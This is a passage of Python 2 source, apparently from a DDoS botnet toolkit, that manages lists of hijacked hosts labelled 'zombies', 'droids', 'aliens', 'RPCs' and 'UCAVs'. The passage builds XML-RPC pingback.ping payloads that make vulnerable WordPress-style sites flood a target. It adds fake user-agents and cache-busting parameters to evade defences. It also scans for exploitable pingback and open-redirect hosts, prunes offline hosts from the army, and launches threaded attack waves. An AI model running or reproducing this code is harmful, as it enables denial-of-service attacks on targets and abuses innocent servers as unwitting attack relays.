  2705. print "[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)"
  2706. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2707. if not self.options.disablepurge:
  2708. self.discard_droids.append(droid)
  2709. self.num_discard_droids = self.num_discard_droids + 1
  2710. if self.options.verbose:
  2711. print "[Info] [AI] [Droids] "+str(name_droid)+" is returning..."
  2712. if self.options.disablerpcs and self.options.disableucavs:
  2713. self.extra_zombies_lock = False # [ARMY] have finished
  2714. def extract_droids(self):
  2715. # extract droids from file
  2716. options = self.options
  2717. try:
  2718. f = open(self.droids_file)
  2719. droids = f.readlines()
  2720. droids = [ droid.replace('\n','') for droid in droids ]
  2721. f.close()
  2722. if not droids:
  2723. print "[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]"
  2724. self.options.disabledroids = True
  2725. return
  2726. else:
  2727. return droids
  2728. except:
  2729. if os.path.exists(self.droids_file) == True:
  2730. print "[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]"
  2731. return #sys.exit(2)
  2732. else:
  2733. print "[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]"
  2734. return #sys.exit(2)
  2735. def discarding_rpcs(self, rpc, rpcs):
  2736. if rpc in self.discard_rpcs:
  2737. rpcs.remove(rpc)
  2738. if self.options.verbose:
  2739. print("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]")
  2740. return rpcs
  2741. def send_rpcs(self, rpcs):
  2742. # extract vulnerable XML-RPC pingback services and perform requests against target
  2743. time.sleep(4) # aiming (multi-threading flow time compensation)
  2744. if not self.options.disablepurge:
  2745. if not rpcs: # return when not any working
  2746. self.options.disablerpcs = True
  2747. return
  2748. target = self.options.target
  2749. options = self.options
  2750. def random_key(length):
  2751. key = ''
  2752. for i in range(length):
  2753. key += random.choice(string.lowercase + string.uppercase + string.digits)
  2754. return key
  2755. shuffle(rpcs) # shuffle rpcs
  2756. if not self.options.disablepurge:
  2757. for rpc in rpcs:
  2758. if not rpc.startswith('http'): # discarded inmediately
  2759. if not self.options.disablepurge:
  2760. self.discard_rpcs.append(rpc)
  2761. self.num_discard_rpcs = self.num_discard_rpcs + 1
  2762. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2763. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  2764. if not self.options.disablepurge:
  2765. if not rpcs: # return when not any working
  2766. self.options.disablerpcs = True
  2767. return
  2768. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  2769. for rpc in rpcs:
  2770. t = urlparse(rpc)
  2771. name_rpc = t.netloc
  2772. if name_rpc == "":
  2773. name_rpc = rpc
  2774. print "[Info] [X-RPCs] Attacking from: " + name_rpc
  2775. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2776. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2777. key = random_key(8) # generate random value page to bypass cache
  2778. rpc_page = "?" + str(key)
  2779. key = random_key(6) # re-generate random value id to bypass cache
  2780. rpc_id = "=" + str(key)
  2781. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  2782. if "/xmlrpc.php" in rpc:
  2783. rpc_place = rpc.replace("xmlrpc.php", "")
  2784. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  2785. try:
  2786. if options.proxy: # set proxy
  2787. self.proxy_transport(options.proxy)
  2788. if self.options.timeout: # set timeout
  2789. try:
  2790. rpc_timeout = int(self.options.timeout)
  2791. except:
  2792. rpc_timeout = 1
  2793. else:
  2794. rpc_timeout = 1
  2795. if rpc_timeout < 1:
  2796. rpc_timeout = 1
  2797. req = urllib2.Request(rpc, rpc_exploit, headers)
  2798. urllib2.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  2799. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  2800. if self.options.verbose:
  2801. print "[Info] [X-RPCs] Reply:", target_reply
  2802. except:
  2803. print "[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)"
  2804. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2805. if not self.options.disablepurge:
  2806. self.discard_rpcs.append(rpc)
  2807. self.num_discard_rpcs = self.num_discard_rpcs + 1
  2808. else:
  2809. print "[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)"
  2810. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2811. if not self.options.disablepurge:
  2812. self.discard_rpcs.append(rpc)
  2813. self.num_discard_rpcs = self.num_discard_rpcs + 1
  2814. if self.options.verbose:
  2815. print "[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning..."
  2816. if self.options.disableucavs:
  2817. self.extra_zombies_lock = False # [ARMY] have finished
  2818. def extract_rpcs(self):
  2819. # extract rpcs from file
  2820. options = self.options
  2821. try:
  2822. f = open(self.rpcs_file)
  2823. rpcs = f.readlines()
  2824. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  2825. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  2826. f.close()
  2827. if not rpcs:
  2828. print "[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]"
  2829. self.options.disablerpcs = True
  2830. return
  2831. else:
  2832. return rpcs
  2833. except:
  2834. if os.path.exists(self.rpcs_file) == True:
  2835. print "[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]"
  2836. return
  2837. else:
  2838. print "[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]"
  2839. return
  2840. def extract_zombies(self):
  2841. options = self.options
  2842. if self.options.test:
  2843. try:
  2844. f = open(options.test)
  2845. zombies = f.readlines()
  2846. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2847. f.close()
  2848. if not zombies:
  2849. print "\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2850. return
  2851. else:
  2852. return zombies
  2853. except:
  2854. if os.path.exists(options.test) == True:
  2855. print "\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2856. return #sys.exit(2)
  2857. else:
  2858. print "\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2859. return #sys.exit(2)
  2860. else:
  2861. try:
  2862. f = open(self.zombies_file)
  2863. zombies = f.readlines()
  2864. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2865. f.close()
  2866. if not zombies:
  2867. print "\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2868. return
  2869. else:
  2870. return zombies
  2871. except:
  2872. if os.path.exists(self.zombies_file) == True:
  2873. print "\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2874. return #sys.exit(2)
  2875. else:
  2876. print "\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2877. return #sys.exit(2)
  2878. def extract_target_list(self):
  2879. options = self.options
  2880. try:
  2881. f = open(options.target_list)
  2882. targets = f.readlines()
  2883. targets = [ target.replace('\n','') for target in targets ]
  2884. f.close()
  2885. if not targets:
  2886. print "\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n"
  2887. return
  2888. else:
  2889. return targets
  2890. except:
  2891. if os.path.exists(options.target_list) == True:
  2892. print "\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n"
  2893. return #sys.exit(2)
  2894. else:
  2895. print "\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n"
  2896. return #sys.exit(2)
  2897. def update_zombies(self, zombies_ready):
  2898. # update zombies on file
  2899. options = self.options
  2900. if options.attackme:
  2901. f = open(self.zombies_file, "w") # re-write list
  2902. for zombie in self.doll.real_zombies: # add only alien verified zombies
  2903. for x in zombie:
  2904. f.write(str(x) + os.linesep)
  2905. f.close()
  2906. if options.test or options.testall:
  2907. if not options.test:
  2908. options.test = self.zombies_file
  2909. f = open(options.test, "w") # re-write list only with zombies ready
  2910. for zombie in zombies_ready:
  2911. f.write(zombie + os.linesep)
  2912. f.close()
  2913. if options.search or options.dorks or options.autosearch or options.download: # append only new zombies to list (dorking supported)
  2914. f = open(self.zombies_file)
  2915. zombies_on_file = f.read().splitlines()
  2916. with open(self.zombies_file, "a") as zombie_list:
  2917. for zombie in zombies_ready:
  2918. if zombie not in zombies_on_file: # parse possible repetitions
  2919. zombie_list.write(zombie + os.linesep)
  2920. if options.download:
  2921. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2922. else:
  2923. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  2924. f.close()
  2925. def update_aliens(self, aliens_ready):
  2926. # update aliens on file
  2927. options = self.options
  2928. if options.download: # append only new aliens to list
  2929. f = open(self.aliens_file)
  2930. aliens_on_file = f.read().splitlines()
  2931. with open(self.aliens_file, "a") as alien_list:
  2932. for alien in aliens_ready:
  2933. if alien not in aliens_on_file: # parse possible repetitions
  2934. alien_list.write(alien + os.linesep)
  2935. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2936. f.close()
  2937. def update_droids(self, droids_ready):
  2938. # update droids on file
  2939. options = self.options
  2940. if options.download: # append only new droids to list
  2941. f = open(self.droids_file)
  2942. droids_on_file = f.read().splitlines()
  2943. with open(self.droids_file, "a") as droid_list:
  2944. for droid in droids_ready:
  2945. if droid not in droids_on_file: # parse possible repetitions
  2946. droid_list.write(droid + os.linesep)
  2947. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2948. f.close()
  2949. def update_ucavs(self, ucavs_ready):
  2950. # update ucavs on file
  2951. options = self.options
  2952. if options.download: # append only new ucavs to list
  2953. f = open(self.ucavs_file)
  2954. ucavs_on_file = f.read().splitlines()
  2955. with open(self.ucavs_file, "a") as ucav_list:
  2956. for ucav in ucavs_ready:
  2957. if ucav not in ucavs_on_file: # parse possible repetitions
  2958. ucav_list.write(ucav + os.linesep)
  2959. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2960. f.close()
  2961. def update_rpcs(self, rpcs_ready):
  2962. # update rpcs on file
  2963. options = self.options
  2964. if options.testrpc or options.testall:
  2965. f = open(self.rpcs_file, "w") # re-write list
  2966. for rpc in rpcs_ready: # add only rpc verified zombies
  2967. f.write(rpc + os.linesep)
  2968. f.close()
  2969. if options.download: # append only new rpcs to list
  2970. f = open(self.rpcs_file)
  2971. rpcs_on_file = f.read().splitlines()
  2972. with open(self.rpcs_file, "a") as rpc_list:
  2973. for rpc in rpcs_ready:
  2974. if rpc not in rpcs_on_file: # parse possible repetitions
  2975. rpc_list.write(rpc + os.linesep)
  2976. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2977. f.close()
  2978. def search_rpc(self, rpc_host):
  2979. options = self.options
  2980. rpc_vulnerable = False
  2981. rpc_pingback_url = False
  2982. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2983. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2984. try:
  2985. if self.options.testall: # testing_all
  2986. if options.proxy: # set proxy
  2987. self.proxy_transport(options.proxy)
  2988. req = urllib2.Request(rpc_host, None, headers)
  2989. rpc_code = urllib2.urlopen(req, context=self.ctx).read()
  2990. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  2991. for link in rpc_links:
  2992. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  2993. rpc_pingback_url = link[0]
  2994. rpc_vulnerable = True
  2995. break # found it!
  2996. else: # not any XML-RPC discovering methods are working
  2997. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  2998. rpc_vulnerable = False
  2999. else:
  3000. if rpc_host.startswith("http://"):
  3001. rpc_host = rpc_host.replace("http://", "")
  3002. if rpc_host.startswith("https://"):
  3003. rpc_host = rpc_host.replace("https://", "")
  3004. rpc_host = urlparse(rpc_host)
  3005. rpc_path = rpc_host.path.replace("\r", "")
  3006. self.head = True # send HTTP HEAD request searching for: X-Pingback
  3007. reply = self.connect_zombie(rpc_path)
  3008. self.head = False
  3009. if "X-Pingback" in reply: # discovering pingback-enabled resources
  3010. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  3011. rpc_pingback_url = m.group(1) # extract rpc server url
  3012. rpc_vulnerable = True
  3013. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  3014. if options.proxy: # set proxy
  3015. self.proxy_transport(options.proxy)
  3016. req_rpc = urllib2.Request(rpc_host, None, headers)
  3017. req_rpc.get_method = lambda : 'GET'
  3018. rpc_code = urllib2.urlopen(req_rpc, context=self.ctx).read()
  3019. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3020. for link in rpc_links:
  3021. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3022. rpc_pingback_url = link[0]
  3023. rpc_vulnerable = True
  3024. break # found it!
  3025. else: # not any XML-RPC discovering methods are working
  3026. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3027. rpc_vulnerable = False
  3028. except: # something wrong discovering XML-RPC Pingback
  3029. pass
  3030. return rpc_vulnerable, rpc_pingback_url
  3031. def testing_offline(self):
  3032. # check for zombies offline
  3033. print ("\nChecking for [Zombies] offline!\n")
  3034. print '='*35
  3035. zombies_online = 0
  3036. zombies_offline = 0
  3037. zombies = self.extract_zombies()
  3038. rpcs = self.extract_rpcs()
  3039. aliens = self.extract_aliens()
  3040. droids = self.extract_droids()
  3041. ucavs = self.extract_ucavs()
  3042. try:
  3043. botnet = zombies + rpcs + aliens + droids + ucavs
  3044. except:
  3045. return
  3046. discarded = [] # for discarded zombies
  3047. if not botnet:
  3048. return
  3049. self.head = True
  3050. for zombie in botnet:
  3051. zombie = str(zombie)
  3052. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3053. zombie_type = 'Zombie'
  3054. elif zombie in rpcs:
  3055. zombie_type = 'XML-RPC'
  3056. elif zombie in aliens:
  3057. zombie_type = 'Alien'
  3058. elif zombie in droids:
  3059. zombie_type = 'Droid'
  3060. elif zombie in ucavs:
  3061. zombie_type = 'UCAV'
  3062. t = urlparse(zombie)
  3063. name_zombie = t.netloc
  3064. if name_zombie == "":
  3065. name_zombie = zombie
  3066. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3067. sep = ';$POST;'
  3068. zombie = zombie.split(sep, 1)[0]
  3069. reply = str(self.connect_zombie(zombie))
  3070. if reply == "200" or reply == "302" or reply == "301" or reply == "401" or reply == "403" or reply == "405" or reply == '500':
  3071. status = "ONLINE!"
  3072. zombies_online = zombies_online + 1
  3073. else:
  3074. status = "NOT Working!"
  3075. zombies_offline = zombies_offline + 1
  3076. print "\nName:", name_zombie
  3077. print "Type: [", zombie_type, "]"
  3078. print "Vector:", zombie
  3079. print "HTTP Code:", reply
  3080. print "STATUS:", status
  3081. print '-'*21
  3082. if status == "NOT Working!": # add to discarded zombies
  3083. if zombie not in discarded:
  3084. discarded.append(zombie)
  3085. print "\n" + '='*52
  3086. print "\n+ Total Botnet:", len(botnet)
  3087. print "\n" + '-'*25 + "\n"
  3088. print " - ONLINE:", zombies_online
  3089. print " - OFFLINE:", zombies_offline, "\n"
  3090. print '='*52 + '\n'
  3091. self.head = False
  3092. if zombies_offline > 0:
  3093. if not self.options.forceyes:
  3094. test_reply = raw_input("[AI] Do you want to update your army? (Y/n)\n")
  3095. print '-'*25 + "\n"
  3096. else:
  3097. test_reply = "Y"
  3098. if test_reply == "n" or test_reply == "N":
  3099. print "[AI] "+self.exit_msg+"\n"
  3100. return
  3101. else:
  3102. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3103. print '='*52
  3104. print "\n - DISCARDED:", disc_zombies
  3105. new_botnet = int(len(botnet) - disc_zombies)
  3106. print "\n+ New Total Botnet:", str(new_botnet), "\n"
  3107. print '='*52 + '\n'
  3108. else:
  3109. print "[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n"
  3110. def send_extra_zombies(self):
  3111. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3112. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3113. if self.options.verbose:
  3114. print "[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons..."
  3115. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3116. for a in aliens:
  3117. if a is None:
  3118. self.options.disablealiens = True
  3119. self.total_aliens = 0 # not any alien invoked
  3120. else:
  3121. for s in a: # extract number of aliens
  3122. self.total_aliens = self.total_aliens + 1
  3123. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3124. al.start()
  3125. else:
  3126. self.options.disablealiens = True
  3127. self.total_aliens = 0 # not any alien invoked
  3128. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3129. if self.options.verbose:
  3130. print "[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons..."
  3131. droids = [self.extract_droids()] # extract droids from file to a list
  3132. for d in droids:
  3133. if d is None:
  3134. self.options.disabledroids = True
  3135. self.total_droids = 0 # not any droid invoked
  3136. else:
  3137. for s in d: # extract number of droids
  3138. self.total_droids = self.total_droids + 1
  3139. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3140. dr.start()
  3141. else:
  3142. self.options.disabledroids = True
  3143. self.total_droids = 0 # not any droid invoked
  3144. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3145. if self.options.verbose:
  3146. print "[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons..."
  3147. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3148. for r in rpcs:
  3149. if r is None:
  3150. self.options.disablerpcs = True
  3151. self.total_rpcs = 0 # not any rpc invoked
  3152. else:
  3153. for s in r: # extract number of rpcs
  3154. self.total_rpcs = self.total_rpcs + 1
  3155. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3156. rp.start()
  3157. else:
  3158. self.options.disablerpcs = True
  3159. self.total_rpcs = 0 # not any rpcs invoked
  3160. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3161. if self.options.verbose:
  3162. print "[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners..."
  3163. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3164. for u in ucavs:
  3165. if u is None:
  3166. self.options.disableucavs = True
  3167. self.total_ucavs = 0 # not any ucav invoked
  3168. else:
  3169. for s in u: # extract number of ucavs
  3170. self.total_ucavs = self.total_ucavs + 1
  3171. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3172. uc.start()
  3173. else:
  3174. self.options.disableucavs = True
  3175. self.total_ucavs = 0 # not any ucavs invoked
  3176. def abandoning_zombies(self):
  3177. if self.options.expire: # set timing for purge
  3178. try:
  3179. timing = int(self.options.expire)
  3180. except:
  3181. timing = self.expire_timing # default timing for purge
  3182. else:
  3183. timing = self.expire_timing # default timing for purge
  3184. if timing < 1:
  3185. timing = self.expire_timing # default timing for purge
  3186. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3187. zombies_lock = 0
  3188. if self.options.verbose:
  3189. print "[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return..."
  3190. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  3191. zombies_lock = zombies_lock + 1
  3192. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3193. if self.options.verbose:
  3194. print "\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]"
  3195. break
  3196. else:
  3197. time.sleep(1)
  3198. def discard_zombies(self, discarded):
  3199. disc_zombies = 0
  3200. if self.options.testoffline:
  3201. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  3202. else:
  3203. zombies_list = [self.zombies_file]
  3204. if not self.options.disablealiens: # add aliens
  3205. zombies_list.append(self.aliens_file)
  3206. if not self.options.disabledroids: # add droids
  3207. zombies_list.append(self.droids_file)
  3208. if not self.options.disablerpcs: # add rpcs
  3209. zombies_list.append(self.rpcs_file)
  3210. if not self.options.disableucavs: # add ucavs
  3211. zombies_list.append(self.ucavs_file)
  3212. for l in zombies_list:
  3213. f = open(l, "r+")
  3214. d = f.readlines()
  3215. f.close()
  3216. f = open(l, "w")
  3217. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  3218. f.close()
  3219. return disc_zombies
  3220. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  3221. m = []
  3222. for zombie in d:
  3223. if zombie not in discarded == True:
  3224. m.append(zombie) # save it
  3225. else:
  3226. disc_zombies = disc_zombies + 1
  3227. if not m:
  3228. f.write("")
  3229. else:
  3230. for z in m:
  3231. f.write(z+os.linesep)
  3232. return disc_zombies
  3233. def testing_rpcs(self, rpcs):
  3234. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  3235. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  3236. options = self.options
  3237. if self.options.testall: #testing_all
  3238. print '='*51
  3239. print ("Are 'plasma' reflectors ready? :-) (XML-RPC Check):")
  3240. print '='*51
  3241. num_active_rpcs = 0
  3242. num_failed_rpcs = 0
  3243. rpcs_ready = []
  3244. print "Trying:", len(rpcs)
  3245. print '-'*21
  3246. for rpc in rpcs:
  3247. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3248. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3249. if rpc.startswith("http://") or rpc.startswith("https://"):
  3250. print "[Info] [X-RPCs] Searching 'Pingback' on", rpc
  3251. rpc_host = rpc.replace("/xmlrpc.php", "")
  3252. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  3253. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  3254. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  3255. try:
  3256. if options.proxy: # set proxy
  3257. self.proxy_transport(options.proxy)
  3258. req = urllib2.Request(rpc_pingback_url, rpc_methods, headers)
  3259. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  3260. if self.options.verbose:
  3261. print "[Info] [X-RPCs] Reply:", target_reply
  3262. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  3263. print "\n[Info] [AI] It looks VULNERABLE! ;-)"
  3264. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  3265. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  3266. else:
  3267. print "\n[Info] [AI] It is NOT vulnerable..."
  3268. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  3269. except:
  3270. print "[Info] [X-RPCs] " + rpc + " -> FAILED (cannot connect!)"
  3271. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  3272. else:
  3273. print "\n[Info] [AI] It is NOT vulnerable..."
  3274. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  3275. print '-'*10
  3276. print '='*18
  3277. print "OK:", num_active_rpcs, "Fail:", num_failed_rpcs
  3278. print '='*18
  3279. if self.options.testall: # testing_all
  3280. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  3281. else:
  3282. # update 'rpcs' list
  3283. if num_active_rpcs == 0:
  3284. print "\n[Info] [X-RPCs] Not any vulnerable 'rpc' active!\n"
  3285. return
  3286. else:
  3287. if not self.options.forceyes:
  3288. update_reply = raw_input("[AI] Do you want to update your army? (Y/n)")
  3289. print '-'*25
  3290. else:
  3291. update_reply = "Y"
  3292. if update_reply == "n" or update_reply == "N":
  3293. print "[AI] "+self.exit_msg+"\n"
  3294. return
  3295. else:
  3296. self.update_rpcs(rpcs_ready)
  3297. if not self.options.upload:
  3298. print "\n[Info] [AI] Botnet updated! -> ;-)\n"
  3299. def testing(self, zombies):
  3300. # test Open Redirect vulnerabilities on webapps and show statistics
  3301. # HTTP HEAD check
  3302. army = 0
  3303. print ("Are 'they' alive? :-) (HEAD Check):")
  3304. print '='*35
  3305. num_active_zombies = 0
  3306. num_failed_zombies = 0
  3307. active_zombies = []
  3308. print "Trying:", len(zombies)
  3309. print '-'*21
  3310. for zombie in zombies:
  3311. zombie = str(zombie)
  3312. if zombie.startswith("http://") or zombie.startswith("https://"):
  3313. # send HEAD connection
  3314. self.head = True
  3315. self.connect_zombies(zombie)
  3316. while self.herd.no_more_zombies() == False:
  3317. time.sleep(1)
  3318. for zombie in self.herd.done:
  3319. zombie = str(zombie)
  3320. t = urlparse(zombie)
  3321. if self.herd.get_result(zombie):
  3322. code_reply = self.herd.get_result(zombie)
  3323. self.head = False
  3324. if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405":
  3325. name_zombie = t.netloc
  3326. if name_zombie == "":
  3327. name_zombie = zombie
  3328. print "Zombie:", name_zombie
  3329. print "Status: OK ["+ code_reply + "]"
  3330. num_active_zombies = num_active_zombies + 1
  3331. active_zombies.append(zombie)
  3332. elif code_reply == "404":
  3333. print "Zombie:", t.netloc
  3334. print "Status: Not Found ["+ code_reply + "]"
  3335. num_failed_zombies = num_failed_zombies + 1
  3336. else:
  3337. print "Zombie:", t.netloc, "\nVector:", zombie
  3338. print "Status: Not Allowed ["+ code_reply + "]"
  3339. num_failed_zombies = num_failed_zombies + 1
  3340. else:
  3341. if self.options.verbose:
  3342. print "[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n"
  3343. print "Zombie:", zombie
  3344. print "Status: Malformed!"
  3345. num_failed_zombies = num_failed_zombies + 1
  3346. print '-'*10
  3347. self.herd.reset()
  3348. print '='*18
  3349. print "OK:", num_active_zombies, "Fail:", num_failed_zombies
  3350. print '='*18 + "\n"
  3351. print '='*22
  3352. if num_active_zombies > 0:
  3353. # check url parameter vectors
  3354. print ("Checking for payloads:")
  3355. print '='*22
  3356. print "Trying:", num_active_zombies
  3357. print '-'*21
  3358. zombies_ready = []
  3359. num_waiting_zombies = 0
  3360. if num_active_zombies == 0:
  3361. num_disconnected_zombies = num_failed_zombies
  3362. else:
  3363. num_disconnected_zombies = 0
  3364. for zombie in active_zombies:
  3365. zombie = str(zombie)
  3366. t = urlparse(zombie)
  3367. name_zombie = t.netloc
  3368. if name_zombie == "":
  3369. name_zombie = zombie
  3370. self.payload = True
  3371. self.connect_zombies(zombie)
  3372. self.payload = False
  3373. while self.herd.no_more_zombies() == False:
  3374. time.sleep(1)
  3375. for zombie in self.herd.done:
  3376. zombie = str(zombie)
  3377. t = urlparse(zombie)
  3378. name_zombie = t.netloc
  3379. if name_zombie == "":
  3380. name_zombie = zombie
  3381. payload_zombie = zombie
  3382. payload_reply = ""
  3383. print "Vector:", payload_zombie
  3384. self.payload = True
  3385. if self.herd.get_result(zombie):
  3386. payload_reply = self.herd.get_result(zombie)
  3387. self.payload = False
  3388. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  3389. num_waiting_zombies = num_waiting_zombies + 1
  3390. print "Status:", "Waiting for orders... ;-)"
  3391. zombies_ready.append(zombie)
  3392. else:
  3393. num_disconnected_zombies = num_disconnected_zombies + 1
  3394. print "Status:", "Not ready..."
  3395. army = army + 1
  3396. print '-'*10
  3397. self.herd.reset()
  3398. print '='*18
  3399. print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies
  3400. print '='*18 + "\n"
  3401. # list of [Zombies] ready to attack
  3402. num_active_zombie = 0
  3403. for z in zombies_ready:
  3404. t = urlparse(z)
  3405. name_zombie = t.netloc
  3406. if name_zombie == "":
  3407. name_zombie = z
  3408. num_active_zombie = num_active_zombie + 1
  3409. if self.options.verbose:
  3410. print "Zombie [", num_active_zombie, "]:", name_zombie + "\n"
  3411. if self.options.testall: # testing_all
  3412. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  3413. else:
  3414. print '-'*25 + "\n"
  3415. print '='*24
  3416. print "Working [Zombies]:", num_active_zombie
  3417. print '='*24
  3418. if not self.options.forceyes:
  3419. update_reply = raw_input("\n[AI] Do you want to update your army? (Y/n)")
  3420. print '-'*25
  3421. else:
  3422. update_reply = "Y"
  3423. if update_reply == "n" or update_reply == "N":
  3424. print "[AI] "+self.exit_msg+"\n"
  3425. return
  3426. else:
  3427. self.update_zombies(zombies_ready)
  3428. if not self.options.upload:
  3429. print "\n[Info] [AI] Botnet updated! -> ;-)\n"
  3430. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  3431. else:
  3432. print '-'*25 + "\n"
  3433. print '='*24
  3434. print "Working [Zombies]:", num_active_zombies
  3435. print '='*24
  3436. print "\n[Info] [AI] [Zombies] aren't replying to your HEAD check! -> [Exiting!]\n"
  3437. def testing_all(self):
